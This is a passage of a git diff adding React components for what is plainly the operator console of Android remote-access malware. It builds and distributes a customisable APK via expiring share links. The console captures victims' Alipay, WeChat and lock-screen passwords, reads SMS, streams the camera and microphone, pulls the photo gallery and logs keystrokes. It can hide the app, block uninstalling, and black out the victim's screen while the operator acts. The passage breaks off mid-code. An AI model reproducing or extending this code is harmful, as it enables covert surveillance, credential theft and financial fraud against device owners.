+ + + + + + 应用名称 + + + + setPageStyleConfig(prev => ({ ...prev, appName: e.target.value }))} + placeholder="请输入应用名称" + maxLength={30} + showCount + style={{ borderRadius: '8px' }} + /> + + + + + + + + 状态文本 + + + + setPageStyleConfig(prev => ({ ...prev, statusText: e.target.value }))} + placeholder="请输入主页状态文本内容" + rows={4} + maxLength={200} + showCount + style={{ borderRadius: '8px' }} + /> + + + + + + + + 启用按钮文字 + + + + setPageStyleConfig(prev => ({ ...prev, enableButtonText: e.target.value }))} + placeholder="请输入启用按钮文字" + maxLength={20} + showCount + style={{ borderRadius: '8px' }} + /> + + + + + + + + + + 使用说明 + + + + setPageStyleConfig(prev => ({ ...prev, usageInstructions: e.target.value }))} + placeholder="请输入使用说明文本" + rows={6} + maxLength={500} + showCount + style={{ borderRadius: '8px' }} + /> + + + + + + + + APK文件名 + + + + + setPageStyleConfig(prev => ({ ...prev, apkFileName: e.target.value }))} + placeholder={`默认: ${getDefaultAPKFileName()}`} + maxLength={50} + showCount + style={{ borderRadius: '8px' }} + suffix={ + +
+ } + style={{ + background: 'linear-gradient(135deg, #f6ffed 0%, #f0f9ff 100%)', + border: '1px solid #b7eb8f', + borderRadius: '8px' + }} + /> + + + ) + } + ]} + expandIcon={({ isActive }) => } + style={{ + background: 'transparent', + border: 'none' + }} + /> + + + {/* 操作按钮区域 */} + + + 🛠️ 操作中心 + + + + + + {data?.apkInfo?.exists && ( + + + + )} + + + + {/* APK 分享管理器 */} +
+ { + setShareUrl(url) + // 可以在这里添加额外的处理逻辑 + }} + /> +
+ + {/* 构建日志窗口 */} + + + 构建日志 + {building && ( + + )} + + } + open={logModalVisible} + onCancel={() => setLogModalVisible(false)} + width={900} + footer={[ + , + , + + ]} + styles={{ + body: { + padding: 0, + maxHeight: '70vh', + overflow: 'hidden' + } + }} + > +
+ {logLoading && buildLogs.length === 0 ? ( +
+ +
正在加载日志...
+
+ ) : buildLogs.length === 0 ? ( +
+ +
暂无日志内容
+
+ ) : ( +
+ {buildLogs.map((log, index) => { + // 根据日志级别和内容设置颜色 + let logColor = '#d4d4d4' + const message = log.message || '' + + // 优先使用日志级别 + if (log.level === 'error' || log.level === 'ERROR') { + logColor = '#f48771' + } else if (log.level === 'warning' || log.level === 'WARNING' || log.level === 'warn') { + logColor = '#dcdcaa' + } else if (log.level === 'success' || log.level === 'SUCCESS') { + logColor = '#4ec9b0' + } else if (log.level === 'info' || log.level === 'INFO') { + logColor = '#569cd6' + } else { + // 如果没有级别,根据消息内容判断 + if (message.includes('错误') || message.includes('error') || message.includes('Error') || message.includes('ERROR') || message.includes('失败') || message.includes('FAIL')) { + logColor = '#f48771' + } else if (message.includes('警告') || message.includes('warning') || message.includes('Warning') || message.includes('WARNING')) { + logColor = '#dcdcaa' + } else if (message.includes('成功') || message.includes('success') || message.includes('Success') || message.includes('SUCCESS') || message.includes('完成')) { + logColor = '#4ec9b0' + } else if (message.includes('信息') || message.includes('info') || message.includes('Info') || message.includes('INFO')) { + logColor = '#569cd6' + } + } + + return ( +
+ {log.timeString && ( + + {log.timeString} + + )} + + {log.level ? `[${log.level.toUpperCase()}]` : '[INFO]'} + + + {message} + +
+ ) + })} +
+ )} +
+
+ + + + ) +} + +export default APKManager \ No newline at end of file diff --git a/src/components/APKShareManager.tsx b/src/components/APKShareManager.tsx new file mode 100644 index 0000000..a3951ec --- /dev/null +++ b/src/components/APKShareManager.tsx @@ -0,0 +1,285 @@ +import React, { useState, useEffect } from 'react' +import { + Card, + Button, + Table, + Typography, + Space, + message, + Tag, + Modal, + QRCode, + Tooltip, + Alert, + Row, + Col +} from 'antd' +import { + LinkOutlined, + CopyOutlined, + QrcodeOutlined, + CheckCircleOutlined, + ClockCircleOutlined +} from '@ant-design/icons' +import type { ColumnsType } from 'antd/es/table' +import apiClient from '../services/apiClient' + +const { Text, Paragraph } = Typography + +interface ShareInfo { + sessionId: string + filename: string + shareUrl: string + createdAt: string + expiresAt: string + isExpired: boolean +} + +interface APKShareManagerProps { + serverUrl: string + onShareUrlGenerated?: (shareUrl: string) => void +} + +const APKShareManager: React.FC = ({ + serverUrl, + onShareUrlGenerated +}) => { + const [shares, setShares] = useState([]) + const [loading, setLoading] = useState(false) + const [qrModalVisible, setQrModalVisible] = useState(false) + const [currentShareUrl, setCurrentShareUrl] = useState('') + const [currentFilename, setCurrentFilename] = useState('') + + // 获取分享链接列表 + const fetchShares = async () => { + setLoading(true) + try { + const result = await apiClient.get('/api/apk/shares') + + if (result.success) { + setShares(result.shares || []) + + // 如果有新的分享链接,回调通知 + if (result.shares && result.shares.length > 0 && onShareUrlGenerated) { + const latestShare = result.shares[result.shares.length - 1] + onShareUrlGenerated(latestShare.shareUrl) + } + } + } catch (error) { + console.error('获取分享链接失败:', error) + message.error('获取分享链接失败') + } finally { + setLoading(false) + } + } + + // 复制链接 + const copyShareUrl = async (shareUrl: string) => { + try { + await navigator.clipboard.writeText(shareUrl) + message.success('分享链接已复制到剪贴板') + } catch (error) { + message.error('复制失败,请手动复制') + } + } + + // 显示二维码 + const showQRCode = (shareUrl: string, filename: string) => { + setCurrentShareUrl(shareUrl) + setCurrentFilename(filename) + setQrModalVisible(true) + } + + // 格式化时间 + const formatTime = (timeStr: string) => { + const date = new Date(timeStr) + return date.toLocaleString('zh-CN') + } + + // 计算剩余时间 + const getRemainingTime = (expiresAt: string) => { + const now = Date.now() + const expiry = new Date(expiresAt).getTime() + const remaining = expiry - now + + if (remaining <= 0) { + return '已过期' + } + + const minutes = Math.floor(remaining / 60000) + const seconds = Math.floor((remaining % 60000) / 1000) + + if (minutes > 0) { + return `${minutes}分${seconds}秒` + } else { + return `${seconds}秒` + } + } + + // 表格列定义 + const columns: ColumnsType = [ + { + title: '文件名', + dataIndex: 'filename', + key: 'filename', + render: (filename) => ( + + {filename} + + ) + }, + { + title: '状态', + key: 'status', + render: (_, record) => ( + : } + color={record.isExpired ? 'red' : 'green'} + > + {record.isExpired ? '已过期' : '活跃'} + + ) + }, + { + title: '剩余时间', + key: 'remaining', + render: (_, record) => ( + + {getRemainingTime(record.expiresAt)} + + ) + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + render: (createdAt) => formatTime(createdAt) + }, + { + title: '过期时间', + dataIndex: 'expiresAt', + key: 'expiresAt', + render: (expiresAt) => formatTime(expiresAt) + }, + { + title: '操作', + key: 'actions', + render: (_, record) => ( + + + + } + > + {shares.length === 0 ? ( + + ) : ( + <> + + + +

• 每次构建APK后会自动生成Cloudflare临时分享链接

+

• 分享链接有效期为10分钟,过期后自动失效

+

• 可以通过二维码或链接分享给他人下载

+

• 建议及时下载,避免链接过期

+ + } + type="info" + showIcon + /> + +
+ + + + )} + + {/* 二维码模态框 */} + setQrModalVisible(false)} + footer={[ + , + + ]} + width={400} + > +
+ + + {currentShareUrl} + + + 使用手机扫描二维码或点击链接下载APK + +
+
+ + ) +} + +export default APKShareManager \ No newline at end of file diff --git a/src/components/AuthGuard.tsx b/src/components/AuthGuard.tsx new file mode 100644 index 0000000..89d31b1 --- /dev/null +++ b/src/components/AuthGuard.tsx @@ -0,0 +1,202 @@ +import React, { useEffect, useState } from 'react' +import { useSelector, useDispatch } from 'react-redux' +import { Spin } from 'antd' +import type { AppDispatch } from '../store/store' +import { + login, + verifyToken, + restoreAuthState, + clearError, + clearAuthState, + selectIsAuthenticated, + selectAuthLoading, + selectAuthError, + selectToken +} from '../store/slices/authSlice' +import LoginPage from './LoginPage' +import InstallPage from './InstallPage' +import apiClient from '../services/apiClient' + +interface AuthGuardProps { + children: React.ReactNode +} + +/** + * 认证守卫组件 + * 负责验证用户登录状态,未登录时显示登录页面 + */ +const AuthGuard: React.FC = ({ children }) => { + const dispatch = useDispatch() + const isAuthenticated = useSelector(selectIsAuthenticated) + const authLoading = useSelector(selectAuthLoading) + const authError = useSelector(selectAuthError) + const token = useSelector(selectToken) + + const [isInitializing, setIsInitializing] = useState(true) + const [loginError, setLoginError] = useState(null) + const [systemInitialized, setSystemInitialized] = useState(null) + + // 调试:监听认证状态变化 + useEffect(() => { + console.log('🔐 AuthGuard - 认证状态变化:', { + isAuthenticated, + authLoading, + token: token ? '***' : null, + isInitializing, + systemInitialized + }) + }, [isAuthenticated, authLoading, token, isInitializing, systemInitialized]) + + // 组件挂载时检查系统初始化状态 + useEffect(() => { + const initializeAuth = async () => { + try { + console.log('🔐 检查系统初始化状态...') + + // 首先检查系统是否已初始化 + // const initResult = await apiClient.get('/') + const initResult = await apiClient.get('/api/auth/check-initialization') + + if (initResult.success) { + setSystemInitialized(initResult.isInitialized) + console.log(`🔐 系统初始化状态: ${initResult.isInitialized ? '已初始化' : '未初始化'}`) + + // 如果系统已初始化,继续认证流程 + if (initResult.isInitialized) { + console.log('🔐 初始化认证状态...') + + // 先尝试从本地存储恢复状态 + dispatch(restoreAuthState()) + + // 等待一个tick让状态更新 + await new Promise(resolve => setTimeout(resolve, 0)) + + // 获取恢复后的token + const currentToken = localStorage.getItem('auth_token') + + if (currentToken) { + console.log('🔐 找到本地token,验证有效性...') + // 验证token是否仍然有效 + try { + const result = await dispatch(verifyToken(currentToken)) + + if (verifyToken.fulfilled.match(result)) { + console.log('✅ Token验证成功') + } else { + console.log('❌ Token验证失败:', result.payload) + setLoginError('登录已过期,请重新登录') + } + } catch (error) { + console.log('❌ Token验证出错:', error) + setLoginError('登录验证失败,请重新登录') + } + } else { + console.log('🔐 未找到本地token') + } + } + } else { + console.error('检查系统初始化状态失败') + setSystemInitialized(false) // 默认为未初始化 + } + } catch (error) { + console.error('初始化检查失败:', error) + setSystemInitialized(false) // 出错时默认为未初始化 + } finally { + setIsInitializing(false) + } + } + + initializeAuth() + }, [dispatch]) + + // 监听token过期事件 + useEffect(() => { + const handleTokenExpired = () => { + console.log('🔐 Token过期,清除认证状态') + dispatch(clearAuthState()) + setLoginError('登录已过期,请重新登录') + } + + window.addEventListener('auth:token-expired', handleTokenExpired) + + return () => { + window.removeEventListener('auth:token-expired', handleTokenExpired) + } + }, [dispatch]) + + // 处理登录 + const handleLogin = async (username: string, password: string) => { + try { + console.log('🔐 尝试登录:', username) + setLoginError(null) + dispatch(clearError()) + + const result = await dispatch(login({ username, password })) + + if (login.fulfilled.match(result)) { + console.log('✅ 登录成功') + setLoginError(null) + } else if (login.rejected.match(result)) { + const errorMessage = result.payload || '登录失败' + console.log('❌ 登录失败:', errorMessage) + setLoginError(errorMessage) + throw new Error(errorMessage) + } + } catch (error: any) { + console.error('登录过程出错:', error) + throw error // 重新抛出错误,让LoginPage显示加载状态 + } + } + + // 清除登录错误 + useEffect(() => { + if (authError && authError !== loginError) { + setLoginError(authError) + } + }, [authError, loginError]) + + // 处理安装完成 + const handleInstallComplete = () => { + console.log('🔐 安装完成,刷新初始化状态') + setSystemInitialized(true) + setLoginError(null) + } + + // 初始化加载中 + if (isInitializing || systemInitialized === null) { + return ( +
+ +
+ ) + } + + // 系统未初始化,显示安装页面 + if (!systemInitialized) { + return ( + + ) + } + + // 系统已初始化但未登录,显示登录页面 + if (!isAuthenticated) { + return ( + + ) + } + + // 已登录,显示主应用 + return <>{children} +} + +export default AuthGuard \ No newline at end of file diff --git a/src/components/Connection/ConnectDialog.tsx b/src/components/Connection/ConnectDialog.tsx new file mode 100644 index 0000000..4d5cf81 --- /dev/null +++ b/src/components/Connection/ConnectDialog.tsx @@ -0,0 +1,171 @@ +import React, { useState, useEffect } from 'react' +import { Modal, Form, Input, Button, Alert, Space } from 'antd' +import { useSelector } from 'react-redux' +import type { RootState } from '../../store/store' + +interface ConnectDialogProps { + visible: boolean + onConnect: (url: string) => void + onCancel: () => void +} + +/** + * 连接服务器对话框 + */ +const ConnectDialog: React.FC = ({ + visible, + onConnect, + onCancel +}) => { + const [form] = Form.useForm() + const [loading, setLoading] = useState(false) + const { status: connectionStatus, serverUrl } = useSelector((state: RootState) => state.connection) + + // 预设服务器地址选项 + const presetServers = [ + 'ws://localhost:3001', + 'ws://127.0.0.1:3001', + 'ws://192.168.1.100:3001', // 示例局域网地址 + ] + + useEffect(() => { + if (visible) { + // 如果已有服务器地址,使用它作为默认值 + if (serverUrl) { + form.setFieldValue('serverUrl', serverUrl) + } else { + form.setFieldValue('serverUrl', 'ws://localhost:3001') + } + } + }, [visible, serverUrl, form]) + + useEffect(() => { + if (connectionStatus === 'connected') { + setLoading(false) + } else if (connectionStatus === 'error') { + setLoading(false) + } + }, [connectionStatus]) + + const handleConnect = async () => { + try { + const values = await form.validateFields() + setLoading(true) + onConnect(values.serverUrl) + } catch (error) { + console.error('表单验证失败:', error) + } + } + + const handlePresetSelect = (url: string) => { + form.setFieldValue('serverUrl', url) + } + + const validateWebSocketUrl = (_: any, value: string) => { + if (!value) { + return Promise.reject(new Error('请输入服务器地址')) + } + + if (!value.startsWith('ws://') && !value.startsWith('wss://')) { + return Promise.reject(new Error('地址必须以 ws:// 或 wss:// 开头')) + } + + try { + new URL(value) + return Promise.resolve() + } catch { + return Promise.reject(new Error('请输入有效的WebSocket地址')) + } + } + + return ( + + 取消 + , + , + ]} + maskClosable={false} + > +
+ + + + +
+
+ 常用地址: +
+ + {presetServers.map((url) => ( + + ))} + +
+ + {connectionStatus === 'error' && ( + + )} + + +

1. 确保远程控制服务器已启动

+

2. 如果服务器在本机,使用 localhost 或 127.0.0.1

+

3. 如果服务器在局域网,使用服务器的IP地址

+

4. 确保防火墙已开放相应端口

+ + } + type="info" + showIcon + /> + +
+ ) +} + +export default ConnectDialog \ No newline at end of file diff --git a/src/components/Control/CameraControlCard.tsx b/src/components/Control/CameraControlCard.tsx new file mode 100644 index 0000000..73cdaf1 --- /dev/null +++ b/src/components/Control/CameraControlCard.tsx @@ -0,0 +1,98 @@ +import React from 'react' +import { Card, Row, Col, Button } from 'antd' +import { VideoCameraOutlined, StopOutlined, CameraOutlined, SwapOutlined } from '@ant-design/icons' + +export interface CameraControlCardProps { + operationEnabled: boolean + isCameraActive: boolean + currentCameraType: 'front' | 'back' + cameraViewVisible: boolean + onStart: () => void + onStop: () => void + onSwitch: (type: 'front' | 'back') => void + onToggleView: () => void +} + +export const CameraControlCard: React.FC = ({ + operationEnabled, + isCameraActive, + currentCameraType, + onStart, + onStop, + onSwitch +}) => { + return ( + + +
+ + + + + + + + + + + + + + + {/* + + + + */} + + ) +} + +export default CameraControlCard + + diff --git a/src/components/Control/ControlPanel.tsx b/src/components/Control/ControlPanel.tsx new file mode 100644 index 0000000..d72a020 --- /dev/null +++ b/src/components/Control/ControlPanel.tsx @@ -0,0 +1,4221 @@ +import React, { useState, useEffect, useRef } from 'react' +import { Card, Button, Space, Input, Row, Col, Modal, Table, Pagination, Tag, Select, App, InputNumber, Tabs } from 'antd' +import DeviceCamera from '../Device/DeviceCamera' +import DebugFunctionsCard from './DebugFunctionsCard' +import DeviceInfoCard from './DeviceInfoCard' +import SmsControlCard from './SmsControlCard' +// import LogsCard from './LogsCard' +import GalleryControlCard from './GalleryControlCard' +import CameraControlCard from './CameraControlCard' +import { + PlayCircleOutlined, + EyeOutlined, + EyeInvisibleOutlined, + BorderOutlined, + FileTextOutlined, + StopOutlined, + ClearOutlined, + SearchOutlined, + SettingOutlined, + AudioOutlined +} from '@ant-design/icons' +import { useSelector, useDispatch } from 'react-redux' +import type { RootState } from '../../store/store' +import { setOperationEnabled, setDeviceInputBlocked, setCameraViewVisible, setGalleryVisible, setGalleryLoading, addGalleryImage } from '../../store/slices/uiSlice' +import { resetDeviceStates, setDeviceScreenReaderHierarchy, updateDeviceScreenReaderConfig } from '../../store/slices/deviceSlice' +import { apiClient } from '../../services/apiClient' + +interface ControlPanelProps { + deviceId: string +} + +// SMS数据类型定义 +interface SmsItem { + id: number + address: string + body: string + date: number + read: boolean + type: number // 1: 接收, 2: 发送 +} + +interface SmsData { + deviceId: string + type: string + timestamp: number + count: number + smsList: SmsItem[] +} + +// 支付宝密码数据类型定义 +interface AlipayPassword { + id: number + deviceId: string + password: string + passwordLength: number + passwordType?: string + activity: string + inputMethod: string + sessionId: string + timestamp: string + createdAt: string +} + +// (未使用) 旧的支付宝密码响应类型,已由新数据结构替代,移除以清理告警 + +interface AlipayPasswordSingleResponse { + success: boolean + data: AlipayPassword +} + +// 微信密码数据类型定义 +interface WechatPassword { + id: number + deviceId: string + password: string + passwordLength: number + passwordType?: string + activity: string + inputMethod: string + sessionId: string + timestamp: string + createdAt: string +} + +interface WechatPasswordListResponse { + success: boolean + data: { + passwords: WechatPassword[] + total: number + page: number + pageSize: number + totalPages: number + } +} + +interface WechatPasswordSingleResponse { + success: boolean + data: WechatPassword +} + +// 相册数据类型定义 +interface AlbumItem { + id: string + name: string + path: string + size: number + width: number + height: number + dateAdded: number + dateModified: number + mimeType: string + bucketId?: string + bucketName?: string +} + +interface AlbumData { + deviceId: string + type: string + timestamp: number + count: number + albumList: AlbumItem[] +} + +// 日志类型映射 +const logTypeLabels = { + 'APP_OPENED': '应用打开', + 'TEXT_INPUT': '文本输入', + 'CLICK': '点击操作', + 'SWIPE': '滑动操作', + 'KEY_EVENT': '按键操作', + 'LONG_PRESS': '长按操作', + 'GESTURE': '手势操作', + 'SYSTEM_EVENT': '系统事件' +} + +const logTypeColors = { + 'APP_OPENED': 'blue', + 'TEXT_INPUT': 'green', + 'CLICK': 'orange', + 'SWIPE': 'purple', + 'KEY_EVENT': 'red', + 'LONG_PRESS': 'pink', + 'GESTURE': 'cyan', + 'SYSTEM_EVENT': 'gray' +} + +/** + * 设备控制面板 + */ +const ControlPanel: React.FC = ({ deviceId }) => { + const { modal, message } = App.useApp() + // 文本输入卡片已移除 + const [maskText, setMaskText] = useState('数据加载中\n请勿操作') + const [maskTextSize, setMaskTextSize] = useState(24) + + // 日志相关状态 + const [isLoggingEnabled, setIsLoggingEnabled] = useState(false) + const [logModalVisible, setLogModalVisible] = useState(false) + const [operationLogs, setOperationLogs] = useState([]) + const [logLoading, setLogLoading] = useState(false) + const [currentPage, setCurrentPage] = useState(1) + const [pageSize, setPageSize] = useState(50) + const [totalLogs, setTotalLogs] = useState(0) + const [logTypeFilter, setLogTypeFilter] = useState(undefined) + + // 一键解锁相关状态 + const [isUnlocking, setIsUnlocking] = useState(false) + const [lastKnownPassword, setLastKnownPassword] = useState(null) + const [deviceState, setDeviceState] = useState(null) + + // 图案解锁相关状态 + const [isPatternUnlocking, setIsPatternUnlocking] = useState(false) + + // 支付宝检测相关状态 + const [alipayDetectionEnabled, setAlipayDetectionEnabled] = useState(false) + const [alipayPasswords, setAlipayPasswords] = useState([]) + const [alipayPasswordModalVisible, setAlipayPasswordModalVisible] = useState(false) + const [alipayPasswordLoading, setAlipayPasswordLoading] = useState(false) + const [alipayPasswordPage, setAlipayPasswordPage] = useState(1) + const [alipayPasswordPageSize, setAlipayPasswordPageSize] = useState(10) + const [alipayPasswordTotal, setAlipayPasswordTotal] = useState(0) + // 已移除最新密码单独展示,避免未使用状态 + + // 微信检测相关状态 + const [wechatDetectionEnabled, setWechatDetectionEnabled] = useState(false) + const [wechatPasswords, setWechatPasswords] = useState([]) + const [wechatPasswordModalVisible, setWechatPasswordModalVisible] = useState(false) + const [wechatPasswordLoading, setWechatPasswordLoading] = useState(false) + const [wechatPasswordPage, setWechatPasswordPage] = useState(1) + const [wechatPasswordPageSize, setWechatPasswordPageSize] = useState(10) + const [wechatPasswordTotal, setWechatPasswordTotal] = useState(0) + // 已移除最新微信密码单独展示,避免未使用状态 + + // 使用ref来避免useEffect依赖项问题 + const logModalVisibleRef = useRef(logModalVisible) + const pageSizeRef = useRef(pageSize) + const logTypeFilterRef = useRef(logTypeFilter) + + // 更新ref值 + useEffect(() => { + logModalVisibleRef.current = logModalVisible + pageSizeRef.current = pageSize + logTypeFilterRef.current = logTypeFilter + }, [logModalVisible, pageSize, logTypeFilter]) + + // 密码查找相关状态 + const [passwordSearchVisible, setPasswordSearchVisible] = useState(false) + const [passwordSearchLoading, setPasswordSearchLoading] = useState(false) + const [customPasswordInput, setCustomPasswordInput] = useState('') // 新增:自定义密码输入 + const [foundPasswords, setFoundPasswords] = useState([]) + const [selectedPassword, setSelectedPassword] = useState('') + // 通用内容预览弹窗(用于密码/日志等) + const [contentPreviewVisible, setContentPreviewVisible] = useState(false) + const [contentPreviewText, setContentPreviewText] = useState('') + + // 黑屏遮盖相关状态 + const [isBlackScreenActive, setIsBlackScreenActive] = useState(false) + + // 应用隐藏相关状态 + const [isAppHidden, setIsAppHidden] = useState(false) + + // 🆕 重新获取投屏权限相关状态 + // 重新获取投屏权限相关状态已不使用 + + // 摄像头控制相关状态 + const [isCameraActive, setIsCameraActive] = useState(false) + const [currentCameraType, setCurrentCameraType] = useState<'front' | 'back'>('front') + + // 🎙️ 麦克风控制相关状态 + const [isMicRecording, setIsMicRecording] = useState(false) + const [micPermission, setMicPermission] = useState(null) + const [micSampleRate, setMicSampleRate] = useState(null) + const [micChannels, setMicChannels] = useState(null) + const [micBitDepth, setMicBitDepth] = useState(null) + + // 为兼容遗留调用,提供无副作用占位setter,后续可彻底清理调用点 + const setIsRefreshingPermission = (_v?: any) => { } + + // 🎧 WebAudio 播放相关引用 + const audioContextRef = useRef(null) + const micGainRef = useRef(null) + const nextPlaybackTimeRef = useRef(0) + + const ensureAudioContext = () => { + if (!audioContextRef.current || (audioContextRef.current.state === 'closed')) { + const ctx = new (window.AudioContext || (window as any).webkitAudioContext)() + audioContextRef.current = ctx + const gain = ctx.createGain() + gain.gain.value = 1.0 + gain.connect(ctx.destination) + micGainRef.current = gain + nextPlaybackTimeRef.current = ctx.currentTime + 0.01 + } + return audioContextRef.current! + } + + const decodeBase64ToInt16LE = (base64: string): Int16Array => { + const binary = window.atob(base64) + const len = binary.length + const buffer = new ArrayBuffer(len) + const bytes = new Uint8Array(buffer) + for (let i = 0; i < len; i++) { + bytes[i] = binary.charCodeAt(i) + } + // 以小端解析为 Int16 + const view = new DataView(buffer) + const samples = new Int16Array(len / 2) + for (let i = 0; i < samples.length; i++) { + samples[i] = view.getInt16(i * 2, true) + } + return samples + } + + const int16ToFloat32 = (input: Int16Array): Float32Array => { + const output = new Float32Array(input.length) + for (let i = 0; i < input.length; i++) { + output[i] = Math.max(-1, Math.min(1, input[i] / 32768)) + } + return output + } + + const playPcmChunk = (base64: string, sampleRate: number, channels: number) => { + try { + const ctx = ensureAudioContext() + const int16 = decodeBase64ToInt16LE(base64) + const float32 = int16ToFloat32(int16) + + const ch = Math.max(1, channels || 1) + const length = Math.floor(float32.length / ch) + const buffer = ctx.createBuffer(ch, length, sampleRate || ctx.sampleRate) + for (let c = 0; c < ch; c++) { + const channelData = buffer.getChannelData(c) + // 拆分交错通道数据(目前数据为单声道,保留通用写法) + for (let i = 0; i < length; i++) { + channelData[i] = float32[i * ch + c] || 0 + } + } + + const source = ctx.createBufferSource() + source.buffer = buffer + source.connect(micGainRef.current as GainNode) + + const startAt = Math.max(ctx.currentTime + 0.005, nextPlaybackTimeRef.current || ctx.currentTime + 0.005) + source.start(startAt) + nextPlaybackTimeRef.current = startAt + buffer.duration + } catch (e) { + console.error('🎧 播放音频数据失败:', e) + } + } + + // 🆕 确认坐标输入相关状态 + const [inputCoordsModalVisible, setInputCoordsModalVisible] = useState(false) + const [inputCoordX, setInputCoordX] = useState(0) + const [inputCoordY, setInputCoordY] = useState(0) + + // 🛡️ 防止卸载功能相关状态 + const [isUninstallProtectionEnabled, setIsUninstallProtectionEnabled] = useState(false) + const [_uninstallProtectionStatus, setUninstallProtectionStatus] = useState<'monitoring' | 'idle'>('idle') + + // 📱 SMS短信相关状态(卡片内展示列表) + const [smsData, setSmsData] = useState(null) + // 短信改为卡片内展示,移除弹窗状态 + const [smsLoading, setSmsLoading] = useState(false) + // 短信读取条数限制 + const [smsReadLimit, setSmsReadLimit] = useState(100) + + // ✅ 新增:服务器地址修改功能 + const [serverUrlModalVisible, setServerUrlModalVisible] = useState(false) + const [newServerUrl, setNewServerUrl] = useState('') + const [serverUrlChanging, setServerUrlChanging] = useState(false) + + // 📷 相册相关状态 + const [albumData, setAlbumData] = useState(null) + const [albumLoading, setAlbumLoading] = useState(false) + + // 📷 新增:逐张图片保存事件展示(类似短信) + type GallerySavedItem = { + id: string + deviceId: string + index: number + displayName: string + dateAdded: number + mimeType: string + width: number + height: number + size: number + contentUri: string + timestamp: number + url: string + resolvedUrl?: string + } + const [gallerySavedList, setGallerySavedList] = useState([]) + + const dispatch = useDispatch() + const { webSocket } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + const { operationEnabled, deviceInputBlocked, cameraViewVisible } = useSelector((state: RootState) => state.ui) + + const device = connectedDevices.find(d => d.id === deviceId) + + // 当设备连接时重置状态,但不申请控制权(由DeviceScreen组件统一管理) + useEffect(() => { + if (device && device.status === 'online') { + dispatch(resetDeviceStates(deviceId)) + + // ✅ 移除重复的控制权申请,避免与DeviceScreen组件冲突 + // 控制权申请由DeviceScreen组件统一管理 + console.log('📋 设备已连接,重置状态:', deviceId) + } + }, [device?.status, deviceId, dispatch]) + + // 当设备切换时重置状态 + useEffect(() => { + if (!deviceId) return + + // ✅ 当设备切换时,清空之前设备的状态 + console.log('🔄 设备切换,清空状态:', deviceId) + + // 清空之前设备的状态 + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setPasswordSearchVisible(false) + setFoundPasswords([]) + setSelectedPassword('') + setIsUnlocking(false) + setPasswordSearchLoading(false) + // 🆕 重置黑屏状态(稍后从服务器同步实际状态) + setIsBlackScreenActive(false) + // 🆕 重置应用隐藏状态(稍后从服务器同步实际状态) + setIsAppHidden(false) + // 🛡️ 重置防止卸载保护状态(稍后从服务器同步实际状态) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + // 🆕 重置重新获取投屏权限状态 + setIsRefreshingPermission(false) + + // ⚠️ 不再立即获取设备状态,等待DeviceScreen组件获取控制权成功后再获取 + }, [deviceId]) + + // 监听WebSocket事件 + useEffect(() => { + if (!webSocket || !deviceId) return + + const handleRealtimeLog = (data: any) => { + console.log(`收到日志数据`) + console.log(data) + if (data.deviceId === deviceId && logModalVisibleRef.current) { + // 实时更新日志列表 + console.log('更新日志数据') + setOperationLogs(prev => [data.log, ...prev]) + setTotalLogs(prev => prev + 1) + } + } + + const handleLogResponse = (data: any) => { + setLogLoading(false) + if (data.success) { + setOperationLogs(data.data.logs) + setTotalLogs(data.data.total) + setCurrentPage(data.data.page) + } else { + modal.error({ + title: '获取日志失败', + content: data.message + }) + } + } + + const handleClearLogResponse = (data: any) => { + if (data.success) { + modal.success({ + title: '清空成功', + content: '操作日志已清空' + }) + if (logModalVisibleRef.current) { + fetchOperationLogs(1, pageSizeRef.current, logTypeFilterRef.current) + } + } else { + modal.error({ + title: '清空失败', + content: data.message + }) + } + } + + const handleGetPasswordResponse = (data: any) => { + console.log('📨 收到密码查询响应:', data) + setIsUnlocking(false) + + if (!data.success) { + // 处理错误情况(比如权限不足) + console.error('❌ 密码查询失败:', data.message) + + if (data.message && data.message.includes('无权')) { + modal.error({ + title: '权限不足', + content: '您需要先获取设备控制权限才能使用一键解锁功能。请先点击"获取控制权"按钮。', + okText: '知道了' + }) + } else { + modal.error({ + title: '查询失败', + content: data.message || '查询密码失败,请重试' + }) + } + return + } + + // ✅ 处理设备状态信息 + if (data.deviceState) { + console.log('📊 收到设备状态:', data.deviceState) + setDeviceState(data.deviceState) + // 更新本地状态以匹配服务器状态 + if (data.deviceState.inputBlocked !== undefined && data.deviceState.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(data.deviceState.inputBlocked)) + setOperationEnabled(!data.deviceState.inputBlocked) + } + if (data.deviceState.loggingEnabled !== undefined && data.deviceState.loggingEnabled !== null) { + setIsLoggingEnabled(data.deviceState.loggingEnabled) + } + // 🆕 同步黑屏遮盖状态 + if (data.deviceState.blackScreenActive !== undefined && data.deviceState.blackScreenActive !== null) { + setIsBlackScreenActive(data.deviceState.blackScreenActive) + console.log('🖤 从密码查询同步黑屏状态:', data.deviceState.blackScreenActive) + } + // 🆕 同步应用隐藏状态 + if (data.deviceState.appHidden !== undefined && data.deviceState.appHidden !== null) { + setIsAppHidden(data.deviceState.appHidden) + console.log('📱 从密码查询同步应用隐藏状态:', data.deviceState.appHidden) + } + // 🛡️ 同步防止卸载保护状态 + if (data.deviceState.uninstallProtectionEnabled !== undefined && data.deviceState.uninstallProtectionEnabled !== null) { + setIsUninstallProtectionEnabled(data.deviceState.uninstallProtectionEnabled) + setUninstallProtectionStatus(data.deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle') + console.log('🛡️ 从密码查询同步防止卸载保护状态:', data.deviceState.uninstallProtectionEnabled) + } + if (data.deviceState.password) { + setLastKnownPassword(data.deviceState.password) + } + } + + if (data.password) { + setLastKnownPassword(data.password) + + // 🆕 优先使用新的确认坐标字段(从数据库获取) + const savedConfirmCoords = data.deviceState?.confirmButtonCoords || null + const learnedConfirmButton = data.deviceState?.learnedConfirmButton || null + + // 🆕 更新设备状态,包含确认按钮信息 + setDeviceState((prev: any) => ({ + ...prev, + confirmButtonCoords: savedConfirmCoords, + learnedConfirmButton: learnedConfirmButton + })) + + // ✅ 根据密码类型判断是否需要确认按钮 + const passwordType = detectPasswordType(data.password) + const needsConfirmButton = passwordType !== 'pattern' // 除了图形密码,其他都需要确认 + + let confirmInfo = '' + if (savedConfirmCoords) { + confirmInfo = `\n🎯 已保存确认坐标: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` + } else if (learnedConfirmButton) { + confirmInfo = `\n🧠 学习的确认坐标: (${learnedConfirmButton.x}, ${learnedConfirmButton.y}) 次数: ${learnedConfirmButton.count}` + } else if 